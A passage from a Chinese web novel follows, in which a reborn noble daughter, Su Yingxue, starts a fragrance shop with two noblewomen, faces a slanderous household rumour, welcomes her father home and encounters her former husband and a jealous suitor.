苏映蓉挑眉，想来向表妹应是无意的，这府里除了大夫人，怕是只有她知晓苏沁雪心高气傲，一心想成为皇子妃，将所有人都踩在脚下。
随后朝向莞宜问道：“向表妹可有青睐之人？届时定要好好跟母亲说一说，母亲定会为你寻得如意郎君。”
向莞宜摇头道：“我的身份可比不得二表姐，等大表姐亲事定下，姨母也要为二表姐操劳了，哪里还顾得上我。”
苏映蓉瞬间心里发凉，自己不好好谋划自身之事，管别人的闲事作甚。
随意应付了两句，便回了汀兰院。
映雪带着嘉柔郡主和清平县主回到映月阁，竹韵赶忙端来点心和茶水。嘉柔喝了杯茶，便迫不及待地对映雪说道：“我们直接去静逸庐吧，顺便在那儿说事。”
映雪看向清平县主，清平点头，于是三人一同前往静逸庐。
嘉柔一见到静逸庐，便心生欢喜：“这里真是太好了，还真有几分世外高人的感觉呢。等我回府，也要在嘉和居打造一间。”
清平忍不住打击她道：“映雪打造静逸庐是为了制香，你打造它作甚？”闻言，嘉柔不由地泄了气。
映雪说道：“你可以在嘉和居打造一间竹屋，将其布置得质朴、雅致，我们去王府时便能在竹屋里玩耍。”
嘉柔瞬间眼神一亮，赞道：“你可真是有巧思。”又接着说：“对了，你上次炼制的‘碧琼丸’效果奇佳，母妃用过觉得嗓子舒服多了，知晓我要来永安侯府，还特地让我好好谢你呢。”
清平也跟着说道：“我们今日前来，就是要与你商讨开铺子的事。之前嘉柔给我写信，提及你炼制的玲珑香丸独一无二，我起初还有些不信，去嘉柔那儿看过之后，也确信是真的。映雪，你真是令我等刮目相看呀。”
映雪被夸赞得有些害羞，脸红道：“我也是运气好罢了。”又向两人问道：“对于开铺子，你们俩有何想法？这开铺子可不只是有东西卖就行，还得考虑选址、铺面、装修、人工等等，我只要一想便觉得头疼。”说罢，还嫌弃地摇了摇头。
嘉柔会心一笑：“有我们的女诸葛在，你还操这份心。”说着，两人都盯着清平，让清平给出建议。清平温和笑道：“我是如此想的，这制香丸的方子由映雪提供，映雪算是技术入股，且方子难得，映雪应占大头，得四成股。嘉柔不爱管事，资金方面就多出一份，我与嘉柔各占三成股份，你们觉得如何？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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映雪和嘉柔连忙点头，道：“我们都无意见，往后打理铺子之事就劳你费心啦。”
三人谈妥，清平又向映雪问道：“玲珑香丸的方子，你能制出多少不同功效的？”
映雪沉思片刻：“暂时不多，不过给我一段时间，应该够用。”她想到玉佩里的秘方，若是将药方炼制到香丸中，想来会有不错的成效。看来又得约景阳侯世子了。
三人在映月阁一起用了餐，愉快地聊着天，快到酉时，丫鬟提醒，才恋恋不舍地离去。临走前，清平还对映雪说道：“铺子的事，等我们买好了铺面再告知你。”
映雪点头回应。
落雪院，苏沁雪向身边的丫鬟问道：“打听到郡主与县主过来所为何事了吗？”
丫鬟点头应道：“回小姐，打听到了。是与三姑娘炼制的香丸有关，她们三人要合伙开铺子。”
闻言，苏沁雪陷入沉思，随即摆手示意丫鬟退下。
夜间，向莞宜躺在床上，辗转反侧，难以入眠。想到让丫鬟打听来的那些消息，她不禁心生感慨。没想到短短几个月未曾来侯府，苏映雪竟有了如此大的变化。先是能够炼制出独一无二的香丸，而后在钟书阁对弈还赢过了李祭酒家的姑娘。如今还要与郡主、县主合伙开铺子。与苏沁雪、苏映蓉相处，也不再如往昔那般亲密。也不知她这些变化会不会对自己的计划产生影响，毕竟自己的时间所剩无几，目前除了苏映雪，确实也没有更合适的人选了。
翌日，苏映蓉来到映月阁找映雪，还带来了陈姨娘亲手做的点心。映雪瞥了一眼，诧异道：“二姐姐来找我可是有事？”
苏映蓉没好气道：“怎么？二姐姐难道就不能来看你？”
映雪挑眉，并不答话，心里暗自思忖：是没少来过，也没少占了便宜回去。
苏映蓉见映雪不吭声，带着讨好的语气说道：“听丫鬟们议论，康郡王府要办冬日宴，届时你能否带我去？”
映雪反问道：“你为何不去求四妹妹，我是打算带大姐姐去的。”
苏映蓉道：“大姐姐即将定亲，或许不会去，四妹妹这会儿心情不佳。”
映雪未作言语，前世大姐姐出事，她带了苏映蓉去，苏映蓉却在宴会上算计了忠勇侯世子，最后还以嫡出的身份嫁进了忠勇侯世子。事后，清平告知她，郡王府彻查宴会之事，忠勇侯世子中药可能与苏映蓉有关，当时她羞愧得无颜面对郡王府之人。
想来这次她又要故技重施了。
映雪这次决不会给她让侯府蒙羞的机会，便直接拒绝道：“你还是等四妹妹心情好些再去求她吧，若大姐姐不去，我就带向表妹去。”
闻言，苏映蓉恼了，生气道：“三妹妹，你怎如此狠心，我好歹也是你的亲姐姐，她们哪有我与你亲近，你不想带我就算了，偏拿她们当借口。”说罢，怒气冲冲地走了。
18. 流言
午后，映雪身着一袭月白色的罗裙，带着竹韵，来到了庆阳街的“云间雅阁”。“云间雅阁”坐落在庆阳街的东侧，飞檐翘角，朱栏绮户，颇具雅致。
映雪此前与许牧舟约见时，想到往后两人少不了往来，许牧舟便将这“云间雅阁”告诉了她，并告知若映雪有事找他，直接来此，自会有人通报。
映雪在茶馆门口下车，掌柜的瞧见是永安侯府的马车，瞬间满脸堆笑，忙不迭亲自殷勤地迎了出来。待映雪步入馆内，掌柜紧接着便呈上几样精致点心，那些点心小巧玲珑，模样娇俏可人，单是瞧着那模样，就让人忍不住垂涎三尺。随后，掌柜又极为熟练地泡了一壶“峨眉雪芽”，整套动作如行云流水般顺畅自然。
映雪端坐在桌前，暗自思忖，当真是大手笔。这“峨眉雪芽”极为珍贵，侯府都拿不出几两，唯有招待最为重要的客人才会舍得取出。
她轻轻将茶杯凑近鼻尖，一股清香馥郁的气息瞬间萦绕，再轻抿一口，茶汤滑过喉咙，口感清醇淡雅，如丝般顺滑。
没过多久，只见许牧舟一袭紫袍，步履从容地走了过来。慢悠悠地在映雪的对面落座，而后伸手拿起茶壶，为自己缓缓倒了一杯茶水。
轻抿一口茶水，抬眸看向映雪，问道：“可是玉佩有了变化？”
映雪点了点头，说道：“里面是有些积分。”说完，她抬起头，目光灼灼地紧盯着许牧舟，明亮的眼眸中满是期待地问道：“我能兑换我想要的东西吗？”
许牧舟闻言，嘴角微微上扬，轻笑出了声，那笑声如清泉击石，清脆而悦耳。带着几分戏虐，调侃道：“你如今是玉佩的主人，自然是你说了算，就算是我想要，也得求着你呢。”
映雪听到这话，悬着的心这才落了地，脸上绽放出如春花般灿烂的笑容。紧接着追问道：“那你想要什么？等有了更多积分，我兑给你。”
许牧舟微微抬起剑眉，目光深邃而坚定，缓缓说道：“兵书吧，倘若有足够的积分。”
映雪轻轻点头回应，一时间两人之间陷入了沉默，竟也没了话语。
准备起身告辞。
许牧舟眉头微微轻皱，看似随意地说道：“如今我们也算是合作关系了，若你有除玉佩之外的事找我，也是可以的。”
映雪听闻，不禁心生诧异，美目流转，不明白许牧舟这话究竟是何意，撇撇嘴，娇嗔道：“除了玉佩之事，我还能有什么事需找你帮忙。”那语气，活脱脱一幅过河拆桥的模样。
许牧舟一时语塞，有些微滞，反问道：“你这就没别的事情需要找人帮忙的？”
映雪忍不住翻了个白眼，哼道：“都是府里姐妹之间的那些事儿，难不成你还能帮上忙？”
许牧舟被她这话噎住，顿了顿，接着便道：“也不是不行，我可以送你会武艺的侍女。”
闻言，映雪的眼神瞬间一亮，她眼下最缺的就是人手。可转念一想，她和许牧舟也没那么熟稔，刚刚燃起的希望之火又瞬间熄灭，有些泄了气，拒绝道：“算了，我和你还没熟到那份上。”
许牧舟险些被她气伤，没得好气地说道：“你这丫头年纪尚小，说话怎这般刁钻。”
映雪一听这话，立马像只泄了气的小猫般怂了起来，脸上挤出一丝浅笑道：“暂时还用不上，等有需要了我再向你要，定不会跟你客气。”
许牧舟这才神色舒缓，满意地微微仰头，骄傲地哼了一声，那模样仿若一只斗胜的公鸡。
说罢，映雪轻盈起身，盈盈一礼准备告辞。这时，掌柜满脸堆笑地快步走来，手里捧着一罐茶叶，身后的小二还拎着打包好的几份点心。
映雪轻撇了一眼许牧舟，只见他端坐着，看似故作镇定，可那微微上扬的嘴角还是泄露了他的心思。映雪心中暗笑，想到这位可是拿珍珠砸人的主儿，便也不再扭捏，冲竹韵使了个眼色，竹韵心领神会，上前利落地收下。
便带着竹韵转身离开了茶馆。
待回了侯府，便见几个丫鬟聚在一处交头接耳，窃窃私语。等她们瞧见了映雪，神色慌张，赶紧作鸟兽散。映雪微微皱眉，心中疑惑，以为侯府发生了什么大事，不由加快脚步，急匆匆地回了映月阁。
刚进映月阁，绿绮便气轰轰地跑了过来，向映雪禀告：“姑娘，府里竟有不堪的流言传出，说您之前在府里私会男子，脖子上还带着对方送的玉佩，讲得有鼻子有眼。奴婢撞见后，连问了好几个人，都没寻到这流言是从哪个居心不良的人那里传出来的。”
映雪暗自思忖，莫非是那日许牧舟来映月阁被人瞧见了？但不管是谁在背后操控，这流言定然是从映月阁流出的。玉佩之事，除了竹韵知晓，也只有能近身伺候她的丫鬟有可能不经意间瞧见。也好，对方终于按捺不住了。想到这儿，映雪也不由得松了口气。
绿绮见映雪仿若无事人一般，焦急问道：“姑娘，您都不生气吗？”
映雪神色随意，轻描淡写道：“流言不过是无稽之谈，当不得真，我又有何惧？”
绿绮急得直跺脚，道：“可这样会坏了姑娘您的名声啊！”
映雪含着浅笑，安抚道：“放心吧，这流言传不了两天自然就没了，而且说不定还能借此揪出背后那条大鱼呢。”
祖母向来最在意侯府的家风，像这种直接毁坏嫡女名声的谣言，祖母定会严查到底。
不一会儿，江嬷嬷忧心忡忡地前来禀告：“姑娘，老夫人传话过来，让您去一趟荣晖堂。”接着，她又犹豫着说道：“姑娘，奴婢知晓那些流言纯属他人造谣，可毕
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竟会对您的名誉有所损害，姑娘更应严明律己，莫让他人有任何可乘之机才是。”
映雪打断道：“好了，我先去荣晖堂，其他的等我回来再说。”说罢，便带着丫鬟去了荣晖堂。
踏入屋子，只见大夫人正坐在老夫人身侧。映雪分别向两人行了礼。老夫人让映雪起身，其眼神中隐约带着怒火，尚未开口说话，便听到大夫人恼怒道：“映雪，府里的流言你可听说了？你可知这究竟是怎么回事？母亲知晓与你无关，你仔细想想，可有什么被人误会的地方？”映雪心中冷笑，这番话听起来是为她抱不平，实则是在指责她行为不端，故而才会遭人误会。
映雪脸上却佯装不知，生气道：“母亲，您也该好好管教这府里的下人了，堂堂侯府，下人竟听风就是雨，随意议论主子之事，就连谨言慎行的道理都不懂。”
接着，她又转向老夫人，委屈道：“祖母，这些流言实乃无稽之谈，我竟不知自己还有收过男子玉佩之事，您派人去映月阁仔细查找，若是不能将玉佩给我找出来，当场给我定罪，我定要查清究竟是谁在诋毁我。至于我脖子上有无佩戴玉佩，您让秦嬷嬷过来一看便知。”
老夫人自然相信映雪不会做出这等事，她亦对侯府家风不满，毫无一点世家风范，遂安慰映雪道：“祖母当然相信你，你放心，即便你不追究，祖母也定会追查到底，侯府绝容不下这种卑劣手段。”最后一句说得甚是严厉。
大夫人又问道：“至于男子的影子，映月阁近日可有男子进去过？”
映雪稍作思索，便摇头道：“除了那日大哥书院放假，来映月阁看我，再就是五弟了。”
说罢，映雪故作惊讶道：“前段时日，我在映月阁改造‘静逸庐’倒是有外男出入，但他们皆是从侧门进入，我连面都未曾碰过，总不至于说我与他们私会吧。”
说到此处，老夫人重重地拍了一下桌子，怒喝道：“胡闹。”
大夫人也显得有些讪讪的。
接着映雪又道：“祖母，也怪映雪无能，映月阁的丫鬟没管好，口风不严，昨日嘉柔郡主与清平县主来访，短短几个时辰，就连我们要合伙一起开铺子的事便传遍了整个侯府。”
老夫人瞥了一眼大夫人，继而转向映雪，说道：“这件事情，由我亲自彻查，你身边留不得这般丫鬟，届时你也休要为她们求情。”
映雪一脸忧色，似有不忍，随后才缓缓点头。
老夫人这才放下心来，映雪一向心慈手软，对丫鬟也颇为纵容，她就怕映雪到时会为丫鬟们求情，无法借此机会树立威严。
老夫人正要吩咐侍女去将李总管叫来，便有丫鬟进来禀报：“老夫人，方才侯爷派人传话，他已然回京，此刻正在宫中面圣述职，晚上回府用膳。”
19. 线索
闻言，老夫人满心欢喜，赶忙吩咐秦嬷嬷道：“今晚在正院为侯爷接风，你去大厨房知会一声，多做几道侯爷爱吃的菜肴。”
映雪鼻子一酸，父亲尚在，她终于能够再次见到活生生的父亲。
余光扫到大夫人，只见大夫人也是一脸喜色，然而那笑意却未达眼底，心底不禁微微感到异样。
吩咐完秦嬷嬷安排晚宴之事后，老夫人便转过身来，对映雪说道：“你回去吧，关于流言之事，祖母自会派人仔细调查。”
映雪点头应是，福身行礼之后，方才退下。
映雪回到映月阁，心中思忖着，这流言之事究竟出自何人之手，大夫人、苏映蓉、苏沁雪、向莞宜皆有可能，只是这手段着实低级，想必应与大夫人无关。
正在此时，一个小丫鬟前来找绿绮，绿绮出了屋子。
不一会儿，绿绮面带兴奋之色进了屋，“姑娘，您可还记得之前您让我留意那日昙华寺之行的马夫？”映雪抬头，示意绿绮继续往下说。绿绮接着道：“刚雀儿过来告知我，她瞧见向表姑娘身边的丫鬟香菱与那马夫说过话，只是她站得较远，具体所言未听清。”说到最后，竟颇有些遗憾之意。
映雪问道：“雀儿是谁？”
绿绮笑道：“雀儿是映月阁负责院子里花草的丫鬟，奴婢见她机灵勤快，便让她也一同留意那马夫。”
映雪点头，含笑道：“你一会儿去替我赏那丫鬟五钱银子，若有其他机灵或者本分的丫鬟，你也可好好培养。”
绿绮连忙点头应下。接着映雪又吩咐旁边的竹韵道：“祖母要严查此次流言之事，你也留意下映月阁的人，看看有无异样。”
闻言，竹韵眉头微微皱起，似是有些犹豫地道：“姑娘，您去了荣晖堂后，奴婢发现白芷似乎有些心不在焉，不知这算不算是异样。”
映雪心里骤然一松，果然与白芷有关，只是不知她究竟将消息传给了何人。
随后，映雪抬眼瞧了瞧天色，见时辰不早，父亲即将回府，便动身去了荣晖堂候着。待到她抵达时，苏沁雪等人皆已齐聚。
苏秀蓉见映雪走来，赶忙迎了上去，温声安慰道：“映雪，府里的流言祖母已经着手在查了，你放宽心，定不会放过那作恶之人。”映雪微微点头，含着一抹浅笑应道：“大姐姐，我不担心。”
苏映蓉则在一旁面露几分幸灾乐祸之色，抿嘴笑道：“一会儿父亲回来，你就给他呈上了这么大一份‘礼物’，也不知会不会把父亲给气着。”
映雪嘴角微微上扬，轻笑一声，“那就不劳二姐姐费心了，想来那会气着爹爹的人，总归不会是我。”
此时，只见一名丫鬟脚步匆匆地饶过屏风进来，欠身行礼后恭声道：“老夫人，侯爷回来了。”
话音刚落，一阵沉稳有力的脚步声便清晰地传来，映雪几人忙不迭地起身相迎。从屏风处，缓缓走进来一位莫约三十八岁的男子，其步伐沉着而坚定，身姿高大挺拔，剑眉斜插入鬓，眼神中透露着坚毅与睿智。待瞧见映雪几人，那原本凌厉的眼神瞬间变得柔和无比，嘴角上扬，满是温暖的笑意。
映雪的鼻子一酸，眼眶瞬间泛红，险些让晶莹的泪珠掉落下来。
父亲还好好地活着，依旧如前世那般英伟不凡，那般亲切和蔼。这一世，她在心底暗暗发誓，绝不会让父亲重蹈前世的覆辙。
福声请安之后，映雪便亲昵地拉着永安侯的袖子，娇嗔道：“爹爹，有没有给我带礼物，我听嘉柔说，江南的苏绣最为出名呢，你有没有给我带。”
永安侯此次出门办差，已有一个多月未见女儿，此刻乍一瞧，竟觉得女儿出落得愈发漂亮了。
“礼物自然是有，不过你先告诉爹爹，你为豫亲王妃做了何事？今日在宫里碰见豫亲王，他替王妃谢你呢，还夸爹爹生了个好女儿。”说罢，脸上满是得意之色，爽朗的笑声在屋内回荡。
老夫人接过话茬，含笑道：“映雪这丫头为豫亲王妃制了玲珑香丸，对豫亲王妃的病情有缓和作用。”永安侯向老夫人恭敬地行礼后，满脸诧异问道：“什么玲珑香丸？映雪还会制药了？”
“你不知道的还多着呢，这些让映雪后面再细细告诉你。”老夫人笑着说道。
永安侯点了点头。
随从把礼物放下，映雪几人围了上去。
除了一些江南丝稠，每人一把苏绣折扇、一方苏绣手帕和一支玉簪。玉簪的精致程度与品质稍有差异，映雪的那支最为精致，嫡庶有别，晚膳过后，永安侯端坐在太师椅上，询问起映雪几人的功课。当听闻映雪不仅在对弈中赢了李祭酒家的嫡姑娘，还研制出了独具疗效的香丸，并且要与嘉柔郡主及清平县主一同开铺子，儿子在马术课上又夺得了第一，甚至还获得了太子赏赐的玉佩，心中顿时涌起一股强烈的自豪感。
没想到，自己不过出门短短一个多月，儿子和女儿竟都有了如此显著的长进。
永安侯面带亲和之色，对着映雪说道：“映雪，你要与郡主她们开铺子，若有什么需要爹爹帮忙的，爹爹定全力支持你。”接着又言道：“开铺子所需用到的银子，你直接去找李总管支取便是。”
映雪刚要开口，便听到大夫人出声问道：“侯爷，这映雪开的铺子算是侯府的还是将来给映雪当作嫁妆？”
永安侯整了整衣袍，说道：“既然是映雪开的铺子，自然是映雪自己的，难道侯府还需要女儿开铺子赚钱来贴补不成？”
大夫人似乎有些犹豫，说道：“将来给映雪当嫁妆自是毫无妨碍，只是眼下是不是先归到侯府，毕竟开铺子的银子要从侯府支出，侯府最忌讳的就是一碗水端不平。”映雪心中冷笑，她虽说不在乎这铺子是否归到公中，毕竟侯府将来是大哥的
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，但她最为厌恶大夫人总是打着为侯府着想的旗号，私下里却干着损害侯府之事。正要打断大夫人说话，便传来老夫人的斥责声：“行了，铺子就是映雪的，她想如何处置就如何处置，不必再啰嗦。要是侯府其他的姑娘，也有这等能耐，侯府自然也会支持，定会一碗水端平。”
闻言，大夫人正欲解释，映雪则朝着永安侯展颜笑道：“多谢爹爹的支持，不过开铺子，无需府里出银子，映雪只出方子就行，至于其他的都由嘉柔郡主和清平县主来出。”随后又转向老夫人，俏皮一笑，说道：“而且映雪独占四成股呢。”
这下可把老夫人惊到了，问道：“这方子竟如此值钱？”
映雪含笑，缓缓点头道：“按清平的说法，或许能日进金斗。”老夫人笑得格外明媚，说道：“不曾想，映雪还是个小财神呢。”
听闻此言，苏沁雪与苏映蓉嫉妒得眼睛都红了，大夫人更是只能强装笑颜。
众人又闲聊了片刻，便各自回了自家院子。
映雪回到映月阁后，将绿绮唤了进来，吩咐道：“这段时日，你让雀儿仔细留意马夫与香菱的动向，最好能探出他们之间究竟有何阴谋诡计。”绿绮点头应承，旋即匆匆去安排了。
映雪在心中反复默念香菱的名字，总觉得似乎在别处也曾听闻过，却怎么也想不起来，或许只是凑巧罢了。
晚间，白芷留下值夜。
映雪让白芷倒茶，连唤了两次，白芷竟都毫无反应。映雪顿时怒了，高声喝道：“你在发什么呆，连叫你两次都毫无察觉。”
白芷这才如梦初醒，惊慌失措，赶忙跪下求情道：“奴婢方才不小心走神了，请姑娘责罚。”
映雪并未让她起身，只是轻声问道：“白芷，你在我身旁有多少年了？”
白芷回道：“奴婢八岁便来到了映月阁，至今已有九年了。”
映雪微微颔首，说道：“那如今你已然十七岁了，正值谈婚论嫁的年纪，你可有什么想法？”
闻听此言，白芷的脸色瞬间变得惨白，“回姑娘，奴婢只想一直陪伴在姑娘左右，求姑娘莫要将奴婢许配他人。”
映雪也未勉强，说道：“既然你尚无嫁人的心思，我自然不会逼迫于你。本想着咱们主仆一场，倘若府里有合适之人，我也愿成全你，将来不管是留在府里还是随我嫁人，都能当个管事。”
提及管事，忽然之间，映雪忆起是在何处听过香菱的名字了。前世，因自己无子，在大夫人的提议下，替陈煜安纳了向莞宜为妾。曾听丫鬟闲聊时说起，向姨娘有个叫香菱的丫鬟命好，嫁给了侯府的管事，还脱去了奴籍。
前世向莞宜入永宁侯府之时，身边并未带着香菱。难怪自己对香菱印象不深。
映雪心中暗自思忖，就是不知这香菱究竟立下了多大的功劳，竟能如此深得向莞宜的器重。
20. 偶遇
翌日，映雪用过早膳后，去了荣晖堂请安。踏入堂内，只见上下一片喜气洋洋，苏秀蓉面色羞涩如桃花含春。映雪好奇地问了秦嬷嬷，这才知晓萧府待会儿有人前来。
待请安完毕，映雪正欲离开，苏映蓉却伸手拉住了她，娇声道：“三妹妹，我们一起去暖阁玩吧，一会儿说不定能偷听到她们的谈话呢。”映雪微微蹙眉，面露无语之色，说道：“二姐姐，你就不怕被祖母责罚？可别拉着我。等祖母她们谈完，该知道的自然会知道，况且又不是萧七公子过来。”
苏映蓉见映雪拒绝，便转头看向苏沁雪，可苏沁雪却没理她。
向莞宜袅袅婷婷地走近映雪，亲昵地问道：“三表姐，你今日可有要事？我能不能去映月阁找你玩耍？”
映雪毫不犹豫地直接拒绝道：“我今日约了嘉柔郡主和清平县主去看铺子，你与四妹妹一道玩吧。”
闻言，向莞宜的眼神瞬间一亮，急忙追问道：“三表姐，那我能陪你去吗？”
“下次吧，等铺子定下来，装修好了，再带你去，今日还要与郡主她们商量诸多事宜。”映雪含着浅笑拒绝道。
向莞宜神色有些失落，勉强挤出一丝笑容道：“那等表姐回来我再找你玩。”
映雪轻轻点头，转身离去。
苏映蓉站在原地，若有所思，转头对旁边的苏沁雪说道：“四妹妹，你有没有觉得三妹妹和以前大不一样了？不再和我们亲近，对我们也不像从前那般大方了。”
苏沁雪紧紧拽着手中的帕子，冷哼一声，道：“许是攀上高枝，瞧不上我们了吧。”
苏映蓉接着又道：“如今老夫人也最是疼她，上次府里流言那事，老夫人竟丝毫未曾怀疑她，还觉得是她受了委屈。要是换作是我，估计早就被罚了，毕竟无风不起浪。”
苏沁雪身子微微一僵，朝向莞宜问道：“表姐，你是回倚梦居还是？
向莞宜轻轻摇头道：“我去向姨母请安，表妹要一起吗？”苏沁雪点头，两人并肩一起朝着如意院走去。
映雪乘坐着马车前往与嘉柔约定的店铺。一路上，她瞧见京城的街道中似乎多出了不少乞丐，不由得眉头微蹙，心中微沉。
那店铺位于庆阳街的东侧，似乎离景阳侯世子的“云间雅阁”并不远。庆阳街与庆云街相互平行，庆阳街多是售卖古玩珍品以及茶楼，向来更受达官贵人的青睐。
待映雪抵达铺子时，嘉柔和清平已然等候多时。嘉柔正兴奋地设计着铺子的布局，见映雪来了，忙打趣道：“你可真是个大忙人，我与清平在此都等了你好一会儿啦。”
映雪浅笑道：“豫亲王府和康乐郡王府离庆云街近得很，拐个弯就到了，咱们侯府可比不得。”接着，她又问道：“对了，我刚过来的路上，见京城的街道上似乎多了许多乞丐，你们可知此事？”
嘉柔摇了摇头，清平则沉思了片刻，神色凝重地道：“我今早听身边的嬷嬷提及，中原地区出现了虫灾，许是与此事有关。”
映雪闻言惊慌失措，脸色瞬间变得惨白。她前世并未听闻有虫灾这档子事，心中害怕这与她的重生有所关联。惊恐地说道：“我曾在上古书籍中看到，虫灾蔓延极为迅速，且极易导致疫情，若真是虫灾，恐怕麻烦大了。”
两人见映雪神情惊惧，起初只以为她是单纯的害怕。嘉柔赶忙安慰道：“你且放心，即便真是虫灾，也定然不会波及到京城的。”
映雪摇摇头，郑重其事地道：“不管是虫灾，还是随之而来的疫情，都会致使无数百姓死伤。对于大乾而言，这皆是一场巨大的动荡。严重的话，皇上或许还要下罪己诏。”
听闻此言，嘉柔这才吓得慌了神。皇上乃是她的皇伯，这江山是他们郑氏的江山，她自然期望大乾能够稳如磐石，焦急地问道：“那可如何是好？”
清平宽慰道：“放心，尚未到那般严重的地步。况且咱们大乾人才辈出，定有能人能够解决这虫灾。”
映雪想到那张签文以及玉佩，遂说道：“我虽为女子，但我也想尽一份力为朝廷分忧。我想把香铺的一成利润献出来，用以帮助那些难民，你们觉得如何？”
嘉柔连忙点头，接着映雪的话说道：“我也要，我也要。”
清平却提醒两人道：“把香铺的一成利润捐出来给难民，我自是赞同。但你们可有想过，那些银两如何用在难民身上？若是像往常那般施粥，根本无法解决根本问题。”
映雪与嘉柔两人对视一眼，皆哑口无言。她俩着实天真，竟未曾考虑到这个关键问题。
映雪沉思片刻后说道：“或许可以开设一家慈善堂。”
嘉柔忍不住嘀咕道：“这香铺还未开起来，就得筹划开设慈善堂，这管家之事果真如我想象的那般痛苦又繁琐。”
映雪亦叹道：“真是任重而道远呐。”说完，她与嘉柔默契地看向清平。
清平抚额，无奈地道：“你们这般压榨我，良心不会痛吗？”
两人又默契地一起摇头。
清平接着道：“对于慈善堂的事宜我也不甚了解，况且香铺都还未开业呢，咱们先规划着，等香铺有了利润再付诸行动。”
映雪与嘉柔纷纷点头。
三人就铺子的布置以及开铺的吉时，一番讨论之后，方才定了下来，而后一同在酒楼用了膳。
从酒楼出来后，天色已渐暗。映雪坐在马车上，思绪还沉浸在虫灾之事。
马车平稳地行驶在街道上，然而在经过一条狭窄的胡同口时，却突然传来一阵嘈杂的喊叫声。
“站住！别跑！”
紧接着，一个身影慌不择路地朝着马车冲了过来，后面紧跟着几个彪形大汉，手持棍棒，穷追不舍。
车夫一个紧急勒马，车内的映雪猛地向前倾倒。
还未等她反应过来，那逃窜的身影竟一把抓住了马车边缘，
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企图借力躲避后面的追兵。
“姑娘，不好了！”车夫惊慌失措。
就在这时，一位身着月白色锦袍的男子飞身而来。他身姿矫健，手中长剑一挥，瞬间击退了靠近马车的大汉。
大汉见来了帮手，且此人武艺高强，便一拥而上。男子却丝毫不惧，剑影闪烁之间，大汉们纷纷倒地哀嚎。
不一会儿，大汉们见势不妙，纷纷逃窜。
男子收剑入鞘，走到马车前，温声道：“姑娘，没事了，可受惊了？”
熟悉至极的声音就这般毫无预兆地传入映雪耳中，她仿若被雷电直直劈中，瞬间整个人僵在原地，动弹不得，脸色瞬间苍白如纸。绿绮在旁瞧见，心急如焚，忙不迭地唤道：“姑娘。”
映雪这才如梦初醒，深吸一口气，努力平复着如乱麻般的心绪。
她轻轻掀开帘子，入眼的是那剑眉星目、气质出尘的男子，脸上还带着深深的关切神情。
正是她前世的夫君，宁诚侯府世子陈煜安。
再次相遇，映雪的心还是不受控制地骤然剧烈跳动个不停。
她狠狠咬了咬唇，强迫自己冷静下来，极力收敛着翻涌的情绪。
而后走下马车，微微福身，向陈煜安道谢：“多谢公子搭救，小女子感激不尽。”
陈煜安神情谦和，微笑着说道：“举手之劳，姑娘无碍就好。”
随即，旁边传来一道慵懒的嗤笑声，那声音在寂静的街巷中显得格外突兀。两人下意识地向一旁望去，只见一位身穿深紫色锦袍的华贵男子悠悠地从另一处踱步走来。
正是景阳侯世子许牧舟。他身姿修长，腰间佩着的美玉随着步伐轻轻晃动，流光溢彩。
许牧舟走近陈煜安，嘴角勾起一抹似笑非笑的弧度，对陈煜安道：“陈兄，我没打扰到你吧，你这是？”说着，那狭长的眼眸撇向映雪，目光中似有所指，透着几分玩味。
陈煜安含着淡淡的笑意，从容回道：“刚才这位姑娘差点被人惊扰，我恰好撞见，便顺手把人赶走了。”
许牧舟缓缓点头，双手抱胸，道：“那正好，我与这位姑娘相熟，陈兄就先回去吧，我送她回府。”
陈煜安闻言微微一僵，转头看向映雪，眼中带着些许探寻。
映雪却仿若未闻，并未回应他的目光，径直对陈煜安道：“今日多谢公子相救，我先回去了。”说罢，神色清冷，毫不犹豫地吩咐马夫，便直接上了马车。
马车的帘子落下，瞬间隔绝了一切。
绿绮仍有些惊魂未定，瞧着后来的那位公子，面露疑惑地问道：“姑娘，刚才那位公子便是那次在千味楼遇见的那位公子吧？他怎么说与姑娘相熟呢？”
映雪随意道，“那位是景阳侯世子，之前在豫亲王府认识了。”
绿绮心想，“原来是姑娘认识的，难怪姑娘去孙府之前，让她送信去景阳侯府，当时她还纳闷。”
21. 吃醋
许牧舟阴沉着脸心情极为不爽地回了府，双喜赶忙倒了茶水过来，瞧着世子爷那脸色不快的模样，说道：“世子爷，夫人都找您几次了，让您回了府，务必去主院找她呢。”
见世子爷闷声不吭，双喜接着又道：“兴许是与苏姑娘有关呢。”
话音刚落，只见许牧舟手中的杯子“咔嚓”一声瞬间化作粉末。这可把双喜惊得瞪大了眼睛，嘴巴微张，结结巴巴地说道：“世子爷，可是苏姑娘惹您生气了？不应该呀。”那神情满是不可置信。
许牧舟心里的火气直往上蹿，冷哼一声，别以为他刚刚没瞧见，那女人的眼珠子就跟死死长在姓陈的身上似的，动都不动一下，姓陈的哪里比他强了？不过是一副道貌岸然的伪君子模样，这女人的眼光可真是差到了极点！
双喜听见世子爷哼声，心下便明白还真是与苏姑娘有关，心里忍不住偷着乐，暗自想道：定是苏姑娘让世子爷吃瘪了，谁让世子爷平日里总跟个骄傲的公鸡似的。
只见双喜抿着嘴，努力憋着笑，那一双眼睛里却满是藏不住的狡黠和幸灾乐祸。
许牧舟一眼瞥见双喜那副模样，顿时怒从心头起，大声喝道：“给爷滚出去！”
说完，许牧舟黑着脸起身，大踏步地朝着侯夫人的院子走去。
侯府主院，侯夫人正与身边的嬷嬷讨论着宴会名单，见许牧舟迈步过来，脸上不由得升起几分兴奋之色，却又带着几分嗔怒道：“你这几日怎么老是在府外瞎跑，娘都找你好几回了，却总也见不着你的人影。”
许牧舟满心怀疑地道：“娘找我究竟有何事？该不会又是让我与哪家女子相看之事吧？”
侯夫人连连摇头，脸上得意地笑道：“我儿都有心上人了，娘怎会还逼你与其他女子相看。娘准备在府里举办赏菊宴，邀请苏三姑娘来参加，你觉得如何？”
许牧舟没好气地说道：“不如何，我与她可不熟。”语气中分明含着一丝不满。
见状，侯夫人心里只觉好笑，断定是儿子在苏三姑娘那里吃了瘪。
故意说道：“娘可是为了你才举办这赏菊宴的，你是知道娘的，娘最是惧怕这些麻烦事儿。这苏三姑娘为娘也仔细打听过了，那是有才有貌，要不是咱们侯府还有些权势，你呀，未必能配得上她呢。这十四岁的年纪说小不算小，要是被别人捷足先登了，到时候你要做出抢亲的举动来，为娘可是决不让的。”
许牧舟一时语塞，只得说道：“府里难得办次宴会，娘还是好好操办吧，儿子定会支持您。”
心里却暗自思忖，要是真有哪个不长眼的胆敢跟他抢人，可别怪他以权压人，做出抢亲的举动。毕竟那女人带着他的家传玉佩，早就是他许府的人了，谁也别想觊觎。
